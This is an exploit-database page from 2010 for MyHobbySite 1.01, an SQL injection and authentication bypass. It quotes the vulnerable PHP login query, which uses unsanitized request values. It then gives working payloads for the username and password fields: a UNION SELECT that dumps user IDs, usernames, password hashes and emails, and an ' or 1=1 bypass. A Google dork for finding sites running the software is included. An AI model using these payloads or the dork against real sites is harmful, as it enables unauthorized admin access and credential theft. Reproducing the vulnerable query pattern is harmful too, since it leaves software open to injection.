[webapps / 0day] - MyHobbySite 1.01 SQL Injection / Authenti
Posted on 11 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MyHobbySite 1.01 SQL Injection / Authentication Bypass Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: YuGj VN' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>==================================================================== MyHobbySite 1.01 SQL Injection / Authentication Bypass Vulnerability ==================================================================== ######################################################################################### # Exploit Title: MyHobbySite 1.01 SQL injection, Bypass Authentication Vulnerability # Date: 12-09-2010 # Author: YuGj VN # Email: anhtuanittn.vn@gmail.com # Software Link: http://www.myhobbysite.net/index.php?page=15 # Version: v1.01 ######################################################################################### Bug Code: if (isset($_REQUEST['username']) and isset($_REQUEST['password'])) { // Get user info from the dataabse $_REQUEST['username'] = trim($_REQUEST['username']); $_REQUEST['password'] = trim($_REQUEST['password']); $usersettings = @mysql_query("SELECT * FROM " . $CONFIG['database_table_prefix'] . "users WHERE username='$_REQUEST[username]' AND password=md5('$_REQUEST[password]')"); $usersettings = mysql_fetch_array($usersettings); if ($usersettings) { $_SESSION['logged_in'] = TRUE; $_SESSION['userid'] = $usersettings['id']; $_SESSION['user'] = $usersettings['username']; $_SESSION['pass'] = $usersettings['password']; $_SESSION['email'] = $usersettings['email']; $_SESSION['permissions'] = $usersettings['permissions']; UpdateLogs($usersettings['username'] . " logged into the Admin CP."); } else { $failed_login = TRUE; } } ######################################################################################### Exploit: link exploit: http://domain.com/admin/ # Enter in username field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- - # Enter in password field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- - # or # Enter in username field: ' or 1=1-- - # Enter in password field: ' or 1=1-- - # # # We can exploit only when magic_quote_gpc = Off # Google dork: Powered by MyHobbySite 1.01 # # ######################################################################################### # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-11]</pre></body></html>